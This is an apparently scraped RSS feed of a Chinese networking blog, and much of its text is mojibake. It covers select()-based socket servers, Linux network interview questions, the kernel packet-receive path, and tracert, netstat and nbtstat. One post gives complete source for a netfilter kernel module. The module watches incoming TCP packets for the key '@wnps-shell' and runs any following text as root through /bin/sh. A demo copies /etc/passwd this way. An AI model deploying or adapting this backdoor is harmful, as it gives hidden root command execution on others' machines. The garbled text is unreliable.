??xml version="1.0" encoding="utf-8" standalone="yes"?>久久精品国产亚洲AV香蕉,亚洲国产成人九九综合,亚洲校园春色小说http://m.tkk7.com/shiliqiang/category/40636.htmlI'm on my way!zh-cnMon, 14 Dec 2009 04:54:33 GMTMon, 14 Dec 2009 04:54:33 GMT60socket~程http://m.tkk7.com/shiliqiang/articles/305863.html矛_@矛_@Mon, 14 Dec 2009 03:35:00 GMThttp://m.tkk7.com/shiliqiang/articles/305863.htmlhttp://m.tkk7.com/shiliqiang/comments/305863.htmlhttp://m.tkk7.com/shiliqiang/articles/305863.html#Feedback0http://m.tkk7.com/shiliqiang/comments/commentRss/305863.htmlhttp://m.tkk7.com/shiliqiang/services/trackbacks/305863.html

今天只想谈一谈关于阻塞和非阻塞的socket?/p>

调用socket函数得到的socket的文件标C符Q默认情况下是一个阻塞的socketQ从应用角度Q就是每当调用acceptQrecv,send {函数的时候,如果Ҏ没有相应Q那么进E会d在那里,直到Ҏ相应。这在应用中有很多不便,其是在windows环境中的~程Q如果进E被d那么 看上L一点像L的感觉?/p>

其实把一个socket讄为非d的也很简单。但是,应用select函数Q阻塞socket也可以到辄似的效果。一会详l讨论?/p>

先考虑一个TCP的连接,当服务器E序listen以后Q如果直接调用acceptQ那么进E会d在那里,一直到被client端connectQ然? 开启一个新的线E处理客L服务Q主U程l箋监听h。这样可以实现同时处理多个客Lq接Q但是这h会阻塞主U程Q不是一个好的办法。其实,我当然也 可添加一个线E,?#8220;后台”acceptQ但是我觉得q里面有一个多U程操作同一个文件描q符socket的问题。也不是很好。也是_如果只用到线E? 机制Qƈ不能很好的解决阻塞的问题?/p>

select函数可以对一套文件描q符操作Qwindows里叫handle,我觉得没?a style="width: 20px; height: 20px; text-indent: 20px; background-repeat: no-repeat; background-image: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&file=anchor.gif);" name="baidusnap3">什?/strong>? 质的区别。都是进E空间里面的一个整数而已Q,观察q套文g描述W的可读或可写的情况。这样就l我们提供这样一个思\Q只有当一个socket是可ȝQ? 也就是有q程q接hconnect或是对套接口write,那么才去调用accept或是readQ这样就可以避免d了?/p>

以准备accept的套接口ZQ如果调用socket函数得到的文件描q符为s=3Q那么,我可以调用select监视所?以下的文件描q符的读写特 性? select(s+1,&fd_readset,&fd_writeset,&fd_errorset,&tv_time). q个函数是内核等待特定事件的函数Qƈ不是只有套接口可以用。原型是

int select(int maxfdp1,fd_set *readset,fd_set *writeset,fd_set *exceptset,const struct timeval *timeout);

W一个参数表C察的最大的文g描述W,一般是你想要观察的socket+1Q? W二个参数是可读文g描述Wset,W三个是可写set,W四个参数是error setQ第五个是超时的旉。如果在时的时间内没有观察qQ何改动,那么函数会清I几个setQ我个h理解Q,q且q回0Q如果出错,会返?1。否 则返?gt;0Qƈ且只把可读(可写Q的文g描述W保留在对应的set内。所以只要在调用select以前Q把{待q接的套接口攑ֈ可读set中,如果 发生connectQselect会返?gt;0,q时候可以观察一下套接口是否q在q个set中,如果是,则说明有h。这个方法可以用于多个套接口 同时监听多个端口的情c也可以用于一个已l连接的套接口等待对方发送的消息Q比如write?/p>

对于set的操作,有如下几个宏:FD_ZERO,FD_SET,FD_ISSET,FD_CLR.

fd_set myset; //定义描述字集数据cd

FD_ZERO (&myset); //Ҏq字集初始化

FD_SET(s, &myset); //打开描述字的Ws?也即把套接口加入set?/p>

FD_ISSET(s, &myest) //试描述字的Ws?q个宏一般是在select之后才会用到?/p>

FD_CLR(s, &mysetQ?// //关闭描述字的Ws?是在set中清除s.

q个函数的用方法,可以参见下面的程序。就不再l诉了?/p>

FD_ZERO(&fs_ReadSet);
FD_SET(iSockets, &fs_ReadSet);
iSockNum = iSockets+1;

while(1)
{
FD_ZERO(&fs_WriteSet);
for (iSocketz = 0; iSocketz<iSockNum; iSocketz++)
{
if (FD_ISSET(iSocketz, &fs_ReadSet))
FD_SET(iSocketz, &fs_WriteSet);
}

tv_time.tv_sec = 2;
tv_time.tv_usec = 500000;
iRtn = select(iSockNum, &fs_WriteSet, NULL, NULL, &tv_time);
if (iRtn == -1)
{
printf("function select error\n");
goto error;
}
else if(iRtn == 0)
{
continue;
}

if (FD_ISSET(iSockets, &fs_WriteSet))
{
iSockLen = sizeof(sa_client);
iSocketz = accept(iSockets, (struct sockaddr*)&sa_client, &iSockLen);
if (iSocketz == -1)
{
printf("function accept error \n");
goto error;
}
printf("z : %d\n", iSocketz);

if (iSocketz >=MAX_CLIENT)
{
close(iSocketz);
continue;
}
if (iSockNum < iSocketz+1)
iSockNum = iSocketz+1;
FD_SET(iSocketz, &fs_ReadSet);

}

for (iSocketz=iSockets+1; iSocketz < iSockNum; iSocketz++)
{

if (FD_ISSET(iSocketz, &fs_WriteSet))
{
memset(pRcvBuf, 0, BUFFERSIZE);
memset(pSndBuf, 0, BUFFERSIZE);
iRtn = read(iSocketz, pRcvBuf, BUFFERSIZE);
if (iRtn == -1)
{
printf("function read error \n");
goto error;
}

printf("%s\n", pRcvBuf);

pSndBuf[0] = 0;
strcpy(pSndBuf, "fuck");
iBufLen = sizeof("fuck");

iRtn = write(iSocketz, pSndBuf, iBufLen);
if (iRtn == -1)
{
printf("function write error \n");
goto error;
}

if(strcmp(pRcvBuf,"exit")==0)
{
FD_CLR(iSocketz, &fs_ReadSet);
close(iSocketz);
}
}

}
for (iSocketz = iSockNum-1; (iSocketz >iSockets&&!FD_ISSET(iSocketz, &fs_ReadSet)); iSocketz = iSockNum-1)
{
iSockNum = iSocketz;
}
//printf("isockNum: %d\n",iSockNum);
}

至于套接口的通信Q我q想说一点,套接口和文g道差不多,一方读一方写Qread会阻塞到ҎwriteQ而write不会d。应该是q样了。如果我个h对这个部分的理解有错误。会在以后改正?/p>



矛_@ 2009-12-14 11:35 发表评论
]]>
linux C |络~程面试?/title><link>http://m.tkk7.com/shiliqiang/articles/304648.html</link><dc:creator>矛_@</dc:creator><author>矛_@</author><pubDate>Thu, 03 Dec 2009 07:51:00 GMT</pubDate><guid>http://m.tkk7.com/shiliqiang/articles/304648.html</guid><wfw:comment>http://m.tkk7.com/shiliqiang/comments/304648.html</wfw:comment><comments>http://m.tkk7.com/shiliqiang/articles/304648.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://m.tkk7.com/shiliqiang/comments/commentRss/304648.html</wfw:commentRss><trackback:ping>http://m.tkk7.com/shiliqiang/services/trackbacks/304648.html</trackback:ping><description><![CDATA[<font size="4" color="#ff0000">基础部䆾:<br /> <br /> </font><strong>1.下列E序?2位linux或unix中的l果是什么? </strong><br /> func(char *str)<br /> {<br />     printf("%d",sizeof(str));<br />     printf("%d",strlen(str));<br /> } <p>main()<br /> {<br />     char a[]="123456789";<br />     <br />     printf("%d",sizeof(a));<br />     <br />     func(a);<br /> }<br /> <br /> {? 10   4   9</p> <br /> <font size="4" color="#ff0000">|络/|络~程部䆾:<br /> </font><br /> <strong>1、connectҎ会阻塞,请问有什么方法可以避免其长时间阻塞?</strong><br /> {?最通常的方法最有效的是加定时器Q也可以采用非阻塞模式?br /> <br /> <strong>2、网l中Q如果客LH然掉线或者重启,服务器端怎么h能立ȝ道?</strong><br /> {?若客L掉线或者重新启动,服务器端会收到复位信P每一Utcp/ip得实C一P控制机制也不一栗?br /> <br /> <strong>3.在子|?10.27.48.21/30U有多少个可用地址Q分别是什么?</strong><br /> {?<br /> <br /> :<br /> 30表示的是|络?network number)?0位,剩下2位中11是广?broadcast)地址Q?0是multicast地址Q只?1?0可以作ؓhost address?br /> <br /> ?<br /> 210.27.48.21/30 代表的子|的|络h30位,即网l号?10.27.48.21 & 255.255.255.251=210.27.48.20Q此子网的地址I间?位,卛_以有4个地址Q?10.27.48.20, 210.27.48.21, 210.27.48.22, 210.27.48.23。第一个地址的主机号(host number/id)?Q而主机号0代表的是multicast地址。最后一个地址的最后两位是11Q主机号每一位都?代表的是q播 (broadcast)地址。所以只有中间两个地址可以lhost使用。其实那个问题本w不准确Q广播或multicast地止也是可以使用的地址Q所? 回答4也应该正,当然问的Z可能是想要你回答2。我个h觉得最好的回答是一个广播地址Q一个multicast地址Q?个unicast地址?br /> <br /> <strong>4.TTL是什么?有什么用处,通常那些工具会用到它Q(ping? traceroute? ifconfig? netstat?Q?/strong><br /> {?<br /> :TTL是Time To LiveQ一般是hup countQ每l过一个\由就会被减去一Q如果它变成0Q包会被丢掉。它的主要目的是防止包在有回路的|络上死转,费|络资源。ping和traceroute用到它?br /> <br /> ?TTL 是Time To LiveQ目前是hup countQ当包每l过一个\由器它就会被减去一Q如果它变成0Q\由器׃把包丢掉。IP|络往往带有?loop)Q比如子|A和子|B有两个\由器 相连Q它是一个loop。TTL的主要目的是防止包在有回路的|络上死转,因ؓ包的TTL最l后变成0而得此包从|上消失(此时往往路由器会送一? ICMP包回来,traceroute是Ҏq个做的)。ping会送包出去Q所以里面有它,但是ping不一定非要不可它。traceroute则是 完全因ؓ有它才能成的。ifconfig是用来配|网卡的Qnetstat -rn 是用来列路由表的Q所以都用不着?br /> <br /> <strong>5.路由表示做什么用的?在linux环境中怎么来配|一条默认\由?<br /> </strong>{?<br /> :路由表是用来军_如何包从一个子|传送到另一个子|的Q换局话说是用来军_从一个网卡接收到的包应该送的哪一张网卡上的。在Linux上可以用“route add default gw <默认路由器IP>”来配|一条默认\由?br /> <br /> ? 路由表是用来军_如何包从一个子|传送到另一个子|的Q换局话说是用来军_从一个网卡接收到的包应该送的哪一张网卡上的。\p的每一行至有目标|? l号、netmask、到q个子网应该使用的网卡。当路由器从一个网卡接收到一个包Ӟ它扫描\p的每一行,用里面的netmask和包里的目标IP? 址做ƈ逻辑q算(&)扑և目标|络P如果此网l号和这一行里的网l号相同将q条路由保留下来做ؓ备用路由Q如果已l有备用路由了就在这两条? 由里网l号最长的留下来,另一条丢掉,如此接着扫描下一行直到结束。如果扫描结束Q没有扑ֈM路由Q就用默认\由。确定\由后Q直接将包送到对应的网 卡上厅R在具体的实CQ\p可能包含更多的信息ؓ选\q法的l节所用。题外话Q\q法其实效率很差,而且不scalableQ解军_法是使用IP 交换机,比如MPLS?br /> 在Linux上可以用“route add default gw <默认路由器IP>”来配|一条默认\由?br /> <br /> <strong>6.在网l中有两C机A和BQƈ通过路由器和其他交换讑֤q接hQ已l确认物理连接正无误,怎么来测试这两台机器是否q通?如果不通,怎么来判断故障点Q怎么排除故障Q?/strong><br /> {?试q两台机器是否连通:从一台机器ping另一台机?br />      如果ping不通,用traceroute可以定是哪个\由器不能q通,然后再找问题是在交换讑֤/hup/cable{?br /> <br /> <strong>7.|络~程中设计ƈ发服务器Q用多q程 ?多线E?Q请问有什么区别? </strong><br /> {案一:<br /> 1Q进E:子进E是父进E的复制品。子q程获得父进E数据空间、堆和栈的复制品?br /> 2Q线E:相对与进E而言Q线E是一个更加接q与执行体的概念Q它可以与同q程的其他线E共享数据,但拥有自q栈空_拥有独立的执行序列?br /> 两者都可以提高E序的ƈ发度Q提高程序运行效率和响应旉?br /> U程和进E在使用上各有优~点Q线E执行开销,但不利于资源理和保护;而进E正相反。同ӞU程适合于在SMP机器上运行,而进E则可以跨机器迁UR?br /> <br /> {案?<br /> Ҏ区别׃点:用多q程每个q程有自q地址I间(address space)Q线E则׃n地址I间。所有其它区别都是由此而来的:<br /> 1。速度Q线E生的速度快,U程间的通讯快、切换快{,因ؓ他们在同一个地址I间内?br /> 2。资源利用率Q线E的资源利用率比较好也是因ؓ他们在同一个地址I间内?br /> 3。同步问题:U程使用公共变量/内存旉要用同步机制还是因Z们在同一个地址I间内? <img src ="http://m.tkk7.com/shiliqiang/aggbug/304648.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://m.tkk7.com/shiliqiang/" target="_blank">矛_@</a> 2009-12-03 15:51 <a href="http://m.tkk7.com/shiliqiang/articles/304648.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Linux Q?.6.24.4Q网卡接收数据包的流E?/title><link>http://m.tkk7.com/shiliqiang/articles/304505.html</link><dc:creator>矛_@</dc:creator><author>矛_@</author><pubDate>Wed, 02 Dec 2009 05:32:00 GMT</pubDate><guid>http://m.tkk7.com/shiliqiang/articles/304505.html</guid><wfw:comment>http://m.tkk7.com/shiliqiang/comments/304505.html</wfw:comment><comments>http://m.tkk7.com/shiliqiang/articles/304505.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://m.tkk7.com/shiliqiang/comments/commentRss/304505.html</wfw:commentRss><trackback:ping>http://m.tkk7.com/shiliqiang/services/trackbacks/304505.html</trackback:ping><description><![CDATA[<div>2.6.24.4内核|络接收数据包分?br /> 瀚v书香</div> <div>?.6.24.4中所有的|卡Q不是否支持napiQ都是通过struct napi_structl构q行。所有我们先说一下这个结构?br /> struct napi_struct{<br />    struct list_head poll_list;<br />    unsigned long state;<br />    int weight;<br />    int (*poll)(struct napi_struct *,int);<br /> }<br /> 对应支持napi的网卡,自己填充q个l构体;而非napi|卡Q则使用per cpu的softnet_data>backlog,q个l构的初始化在net_dev_init()中完成?br /> 我们先说一下非napi机制的网卡:<br />     |卡接收到数据包后dma到内核空_然后调用netif_rx()数据包挂接到softnet_data>input_pkt_queue中, 如果backlogq个napi_struct没有被调度,则napi_schedule(&backlog).napi_schedule() 会将backlog的poll_list挂接到softnet_data->poll_list上,同时出发软中断NET_RX_SOFTIRQ? NET_RX_SOFTIRQ软中断,调用相应的函数net_rx_action()?/div> <div>对应napi机制的网卡:<br />      |卡初始化是会自己初始化一个自q数据包接攉列,当有数据包到达时Q将数据包dma到自q数据包队列中Q如果自qnapi没有调度Q则 napi_schedule(mynapi),q里的mynapi是网卡自qnapi_struct.napi_schedule()会将|卡自己? poll_list挂接到softnet_data->poll_list上,同时出发软中断NET_RX_SOFTIRQ? NET_RX_SOFTIRQ软中断,调用相应的函数net_rx_action()?/div> <div> </div> <div>net_rx_action()Q?br />     首先获取softnet_data->poll_listQ通过遍历poll_listQ获取每个poll_list对应的napi_struct l构(container_of实现)Q然后根据napi_struct的weight调用poll函数Q如果是非napi|卡Q这里的 napi_struct是backlogQ所以poll函数是process_backlog;如果是napi的网卡,则会使自qpoll函数?br /> napi|卡的poll函数是从自己数据包队列中dequeueZ个skb,然后调用netif_receive_skb().<br /> 非napi的process_backlog会获取softnet_data->input_pkt_queueQ然后对队列input_pkt_queueq行dequeue操作Q获得一个skbQ之后调用netif_receive_skb(skb)?/div> <div>netif_receive_skb():<br />     对skb做一些准备工作,例如讄mac_len{,调用deliver_skb()l所有的注册ptype_allcd的协议处理handleQ然后是 |桥和VLAN的处理,之后会给注册的相应协议的ptype_base的handle。这里假设是ip协议Q则会调用相应的ip协议handle的处理函 数ip_rcv?/div> <div>ip_rcv():<br />     对skb做一些检查工?如果skb->users!=1Q则clone一个skb,之后会{入netfilter? NF_IP_PRE_ROUTING的hook点,调用所有在该点注册的hook函数。比如说如果开启了conntrackQ则会在q里q行数据包重l? 之后调用ip_rcv_finish().</div> <div>ip_rcv_finish():<br />     首先调用ip_route_input()军_数据包的路由Q初始化skb->dstQ调用dst_input(skb).</div> <div>dst_input():<br />     实际上是调用skb->dst->input(skb)Q对应input的初始化在route.c中。如果是发往本地的数据包 dst->input=ip_local_deliver;如果是{发的数据包dst->input=ip_forward;</div> <div>本地程Q?br /> ip_local_deliver():<br />     首先是对分片的数据包重组Q会转入netfilter的NF_IP_LOCAL_IN的hook点,调用所有在该点注册的hook函数。之后会调用ip_local_deliver_finish()Q之后就到第四层了?/div> <div>转发程Q?br /> ip_forward():<br />     做一些源路由{方面的查后Q会转入netfilter的NF_IP_FORWARD的hook点,调用所有在该点注册的hook函数。之后会调用ip_forward_finish().</div> <div>ip_forward_finish():<br />     调用dst_output().</div> <div>dst_output():<br />     skb->dst->output(skb).一般output=ip_output.</div> <div>ip_output():<br />     讄skb的dev为发包的dev,同时讄skb->protocol,会{入netfilter的NF_IP_POST_ROUTING的hook点,调用所有在该点注册的hook函数。之后会调用ip_finish_output().</div> <div>ip_finish_output():<br />     查一下数据包是否需要分片,如果需要分片,则进行ip_fragement()Q之后调用ip_finish_output2().</div> <div>ip_finish_output2():<br />     ҎneighbourQ调用dst->neighbour->output.</div> <div>到这为止Q数据包会经qdev_queue_xmit攑օdev的qdisc中。之后就是流控出队列?br /> <br /> 出处:http://pengliang.cublog.cn<br /> </div> <img src ="http://m.tkk7.com/shiliqiang/aggbug/304505.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://m.tkk7.com/shiliqiang/" target="_blank">矛_@</a> 2009-12-02 13:32 <a href="http://m.tkk7.com/shiliqiang/articles/304505.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>利用netfilter来突破防火墙Q?实现q程执行命ohttp://m.tkk7.com/shiliqiang/articles/301159.html矛_@矛_@Wed, 04 Nov 2009 13:33:00 GMThttp://m.tkk7.com/shiliqiang/articles/301159.htmlhttp://m.tkk7.com/shiliqiang/comments/301159.htmlhttp://m.tkk7.com/shiliqiang/articles/301159.html#Feedback0http://m.tkk7.com/shiliqiang/comments/commentRss/301159.htmlhttp://m.tkk7.com/shiliqiang/services/trackbacks/301159.html demo在ubuntu8.10 + 2.6.28上测试成功?br />
wzt@wzt-laptop:~$ nc -vv localhost 22
localhost [127.0.0.1] 22 (ssh) open
SSH-2.0-OpenSSH_5.1p1 Debian-3ubuntu1
@wnps-shell:cat /etc/passwd > /home/wzt/pass.log
Protocol mismatch.
sent 49, rcvd 58

demsg:
[ 957.255416] kexec test start ...
[ 1029.692964] hook: function:hook_func-L125: got the tcp key .
[ 1029.692981] hook: function:hook_func-L127: cat /etc/passwd > /home/wzt/pass.log
[ 1029.692985]

wzt@wzt-laptop:~$ ls -lht pass.log
-rw-r--r-- 1 root root 1.7K 2009-06-04 08:08 pass.log

+---------------------------------------------------------------------+

#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/string.h>
#include <linux/kmod.h>
#include <linux/vmalloc.h>
#include <linux/workqueue.h>
#include <linux/spinlock.h>
#include <linux/socket.h>
#include <linux/net.h>
#include <linux/in.h>
#include <linux/skbuff.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/icmp.h>
#include <net/sock.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>

#define HOOK_DEBUG

#ifdef HOOK_DEBUG
#define DbgPrint(format, args...) \
        printk("hook: function:%s-L%d: "format, __FUNCTION__, __LINE__, ##args);
#else
#define DbgPrint(format, args...) do {} while(0);
#endif

#define TCP_SHELL_KEY   "@wnps-shell"

#define PORT_NUM    6
#define IP_NUM        20
#define BUFF_NUM    512

MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");

struct exec_work {
    struct work_struct work;
    char *cmd;
};

static struct nf_hook_ops nfho;

int kexec_user_app(void *data)
{
    struct exec_work *work = data;
    int ret;
    char *argv[] = {"/bin/sh", "-c", work->cmd, NULL};
        char *envp[] = { "HOME=/",
                         "TERM=linux",
                         "PATH=/sbin:/usr/sbin:/bin:/usr/bin",
                         NULL };
    ret = call_usermodehelper(argv[0], argv, envp, 1);

    return ret;
}

int execute_user_command(char *cmd)
{
    struct exec_work *exec_work;

    exec_work = kmalloc(sizeof(struct exec_work), GFP_ATOMIC);
    exec_work->cmd = kmalloc(1024*sizeof(char), GFP_ATOMIC);

    INIT_WORK(&exec_work->work, kexec_user_app);
    strncpy(exec_work->cmd, cmd, strlen(cmd) + 1);

    schedule_work(&exec_work->work);

    return 0;
}

unsigned int hook_func(unsigned int hooknum,
                       struct sk_buff **skb,
                       const struct net_device *in,
                       const struct net_device *out,
                       int (*okfn)(struct sk_buff *))
{
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)
        struct sk_buff *sk = skb_copy(skb, 1);
#else
    struct sk_buff *sk = *skb;
#endif
        struct iphdr *ip;
    struct tcphdr *tcphdr;
    char buf[BUFF_NUM], *data = NULL;
    char *p;

        if (!sk)
                return NF_ACCEPT;
        
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)
    ip = ip_hdr(sk);
#else
    ip = sk->nh.iph;
#endif

        switch (ip->protocol) {
                case 1:
                        return NF_ACCEPT;
                       
                case 6:
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)
                        tcphdr = ip_hdr(sk);

                        tcphdr =
                                (struct tcphdr *)((void *)sk->data +
                                        ((struct iphdr *)sk->data)->ihl * 4);

            data = (char *)((int *)tcphdr + (int)(tcphdr->doff));
#else
                        tcphdr = (struct tcphdr *)((__u32 *)ip + ip->ihl);

            data = (char *)((int *)tcphdr + (int)(tcphdr->doff));
#endif

                        /*
                         * filter the connected tcp packet
                         */
            if ((p = strstr(data, TCP_SHELL_KEY)) != NULL) {
                DbgPrint("got the tcp key .\n");
                p += strlen(TCP_SHELL_KEY) + 1;
                DbgPrint("%s\n", p);
                execute_user_command(p);
                                goto out;
            }

            out:
            memset(buf, '\0', BUFF_NUM);

                        return NF_ACCEPT;
               
                default:
                        return NF_ACCEPT;
        }
}

static int kexec_test_init(void)
{
    printk("kexec test start ...\n");

    nfho.hook = hook_func;
    nfho.owner = NULL;
    nfho.pf = PF_INET;

#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)
        nfho.hooknum = NF_INET_PRE_ROUTING;
#else
        nfho.hooknum = NF_IP_PRE_ROUTING;
#endif

    nfho.priority = NF_IP_PRI_FIRST;
   
    nf_register_hook(&nfho);

    return 0;
}

static void kexec_test_exit(void)
{
    printk("kexec test exit ...\n");
    nf_unregister_hook(&nfho);
}

module_init(kexec_test_init);
module_exit(kexec_test_exit);

矛_@ 2009-11-04 21:33 发表评论
]]>
tracert命ohttp://m.tkk7.com/shiliqiang/articles/291705.html矛_@矛_@Tue, 18 Aug 2009 13:38:00 GMThttp://m.tkk7.com/shiliqiang/articles/291705.htmlhttp://m.tkk7.com/shiliqiang/comments/291705.htmlhttp://m.tkk7.com/shiliqiang/articles/291705.html#Feedback0http://m.tkk7.com/shiliqiang/comments/commentRss/291705.htmlhttp://m.tkk7.com/shiliqiang/services/trackbacks/291705.htmltracert命o

Tracert 工作原理

  通过向目标发送不?IP 生存旉 (TTL) 值的“Internet 控制消息协议 (ICMP)”回应数据包,Tracert 诊断E序定到目标所采取的\由。要求\径上的每个\由器在{发数据包之前臛_数据包上的 TTL 递减 1。数据包上的 TTL 减ؓ 0 Ӟ路由器应该将“ICMP 已超?#8221;的消息发回源pȝ?

  Tracert 先发?TTL ?1 的回应数据包Qƈ在随后的每次发送过E将 TTL 递增 1Q直到目标响应或 TTL 辑ֈ最大|从而确定\由。通过查中间\由器发回?#8220;ICMP 已超?#8221;的消息确定\由。某些\由器不经询问直接丢弃 TTL q期的数据包Q这? Tracert 实用E序中看不到?


tracert命o参数

-d

防止 tracert 试图中间\由器?IP 地址解析为它们的名称。这样可加速显C?tracert 的结果?/p>

-h MaximumHops

指定搜烦目标Q目的)的\径中存在的跃点的最大数。默认gؓ 30 个跃炏V?/p>

-j HostList

指定回显h消息?IP 报头中的松散源\由选项?HostList 中指定的中间目标集一起用。用松散源路由Ӟq箋的中间目标可以由一个或多个路由器分隔开。HostList 中的地址或名U的最大数量ؓ 9。HostList 是一pdq格分隔的 IP 地址Q用带点的十q制W号表示Q。仅当跟t?IPv4 地址时才使用该参数?/p>

-w Timeout

指定{待“ICMP 已超?#8221;?#8220;回显{复”消息Q对应于要接收的l定“回现h”消息Q的旉Q以毫秒为单位)。如果超时时间内未收到消息,则显CZ个星?(*)。默认的时旉?4000Q? U)?/p>

-R

指定 IPv6 路由扩展标头应用来将“回显h”消息发送到本地LQ用目标作Z间目标ƈ试反向路由?/p>

-S

指定?#8220;回显h”消息中用的源地址。仅当跟t?IPv6 地址时才使用该参数?/p>

-4

指定 Tracert.exe 只能?IPv4 用于本跟t?/p>

-6

指定 Tracert.exe 只能?IPv6 用于本跟t?/p>

TargetName

指定目标Q可以是 IP 地址或主机名?/p>

-?

在命令提C符下显C帮助?/p>

注释
• 该诊断工具通过向目标发送具有变化的“生存旉 (TTL)”值的“ICMP 回响h”消息来确定到辄标的路径。要求\径上的每个\由器在{发数据包之前臛_?IP 数据包中?TTL 递减 1。这PTTL 成为最大链路计数器。数据包上的 TTL 到达 0 Ӟ路由器应该将“ICMP 已超?#8221;的消息发送回源计机。Tracert 发?TTL ? 1 的第一?#8220;回响h”消息Qƈ在随后的每次发送过E将 TTL 递增 1Q直到目标响应或跃点辑ֈ最大|从而确定\径。默认情况下跃点的最大数量是 30Q可使用 -h 参数指定。检查中间\由器q回?#8220;ICMP 时”消息与目标返回的“回显{复”消息可确定\径。但是,某些路由器不会ؓ?TTL 值已q期的数据包q回“已超?#8221;消息Q而且q些路由器对? tracert 命o不可见。在q种情况下,ؓ该跃ҎCZ行星?(*)?

• 要跟t\径ƈ\径中的每个\由器和链路提供网lgq和数据包丢׃息,请?pathping 命o?

• 只有?#8220;Internet 协议 (TCP/IP)”协议?#8220;|络q接”中安装ؓ|络适配器属性的lgӞ该命令才可用?/p>

q是验证通往q程L路径的实用程?
用法Q?tracert Q?dQ?Q?h maximum_hopsQ?Q?j host-listQ?Q?w timeoutQ?target_name


CZ
要跟t名?corp7.microsoft.com 的主机的路径Q请键入Q?/p>

tracert corp7.microsoft.com

要跟t名?corp7.microsoft.com 的主机的路径q止将每个 IP 地址解析为它的名Uͼ请键入:

tracert -d corp7.microsoft.com

要跟t名?corp7.microsoft.com 的主机的路径q用松散源路由 10.12.0.1-10.29.3.1-10.1.44.1Q请键入Q?/p>

tracert -j 10.12.0.1 10.29.3.1 10.1.44.1 corp7.microsoft.com

执行tracert命o?会有如下l果,q其中的W??W??W?列ؓ何有三个旉,如果要表C经q该IP的时?分别Ҏ一跳的地址发送三个测试包Q所以有三个旉Q分别是最、^均、最大时间?
  

    
   C:\>tracert    -d   www.hzcnc.com   
   Tracing    route    to   www.hzcnc.com    [218.108.250.243]   
   over    a    maximum    of    30    hops:   
    
       1        <10    ms        <10    ms        <10    ms      210.83.128.110   
       2        <10    ms        <10    ms        <10    ms      210.83.128.110   
       3          11    ms        <10    ms        <10    ms      218.108.253.241   
       4        <10    ms          10    ms        <10    ms      218.108.254.34   
       5          10    ms        <10    ms          10    ms      218.108.252.66   
       6        <10    ms        <10    ms        <10    ms      218.108.250.243   

    在下例中Q数据包必须通过两个路由器(10.0.0.1 ?192.168.0.1Q才能到达主?
172.16.0.99。主机的默认|关?10.0.0.1Q?92.168.0.0 |络上的路由器的 IP ?
址?192.168.0.1?

C:Q?gt;tracert 172.16.0.99 -d
Tracing route to 172.16.0.99 over a maximum of 30 hops
1 2s 3s 2s 10,0.0,1
2 75 ms 83 ms 88 ms 192.168.0.1
3 73 ms 79 ms 93 ms 172.16.0.99
Trace complete.
?tracert 解决问题
可以使用 tracert 命o定数据包在|络上的停止位置。下例中Q默认网关确?19 2.168.10.99 L没有有效路径?br /> q可能是路由器配|的问题Q或者是 192.168.10. 0 |络不存在(错误?IP 地址Q?

C:Q?gt;tracert 192.168.10.99

Tracing route to 192.168.10.99 over a maximum of 30 hops

1 10.0.0.1 reportsestination net unreachable.

Trace complete.

Tracert 实用E序对于解决大网l问题非常有用,此时可以采取几条路径到达同一?
炏V?



矛_@ 2009-08-18 21:38 发表评论
]]>
netstat 命o用法http://m.tkk7.com/shiliqiang/articles/291704.html矛_@矛_@Tue, 18 Aug 2009 13:37:00 GMThttp://m.tkk7.com/shiliqiang/articles/291704.htmlhttp://m.tkk7.com/shiliqiang/comments/291704.htmlhttp://m.tkk7.com/shiliqiang/articles/291704.html#Feedback0http://m.tkk7.com/shiliqiang/comments/commentRss/291704.htmlhttp://m.tkk7.com/shiliqiang/services/trackbacks/291704.html

开始运行netstat命o既可Q可q命令还有其它功能?

如:你想知道Ҏ能IP地址Q不访用netstat命o可以直接在dos直行Q用法,netstat -n

-A 昄M兌的协议控制块的地址。主要用于调?
-a 昄所有套接字的状态。在一般情况下不显CZ服务器进E相兌的套接字
-i 昄自动配置接口的状态。那些在pȝ初始引导后配|的接口状态不在输Z?
-m 打印|络存储器的使用情况
-n 打印实际地址Q而不是对地址的解释或者显CZ机,|络名之cȝW号
-r 打印路由选择?
-f address -family对于l出名字的地址打印统计数字和控制块信息。到目前为止Q唯一支持的地址是inet
-I interface 只打印给出名字的接口状?
-p protocol-name 只打印给出名字的协议的统计数字和协议控制块信?
-s 打印每个协议的统计数?
-t 在输出显CZ用时间信息代曉K列长度信息?

netstat命o的列标题
Name 接口的名?
Mtu 接口的最大传输单?
Net/Dest 接口所在的|络
Address 接口的IP地址
Ipkts 接收到的数据包数?
Ierrs 接收到时已损坏的数据包数?
Opkts 发送的数据包数?
Oeers 发送时已损坏的数据包数?
Collisions p个接口所记录的网l冲H数?/p>

矛_@ 2009-08-18 21:37 发表评论
]]>
Nbtstat 命o用法http://m.tkk7.com/shiliqiang/articles/291703.html矛_@矛_@Tue, 18 Aug 2009 13:36:00 GMThttp://m.tkk7.com/shiliqiang/articles/291703.htmlhttp://m.tkk7.com/shiliqiang/comments/291703.htmlhttp://m.tkk7.com/shiliqiang/articles/291703.html#Feedback0http://m.tkk7.com/shiliqiang/comments/commentRss/291703.htmlhttp://m.tkk7.com/shiliqiang/services/trackbacks/291703.htmlNbtstat

昄Z TCP/IP ?NetBIOS (NetBT) 协议l计资料、本地计机和远E计机?NetBIOS 名称表和
NetBIOS 名称~存。Nbtstat 可以h NetBIOS 名称~存和?Windows Internet 名称服务 (WINS)
注册的名U。用不带参数的 nbtstat 昄帮助?

语法

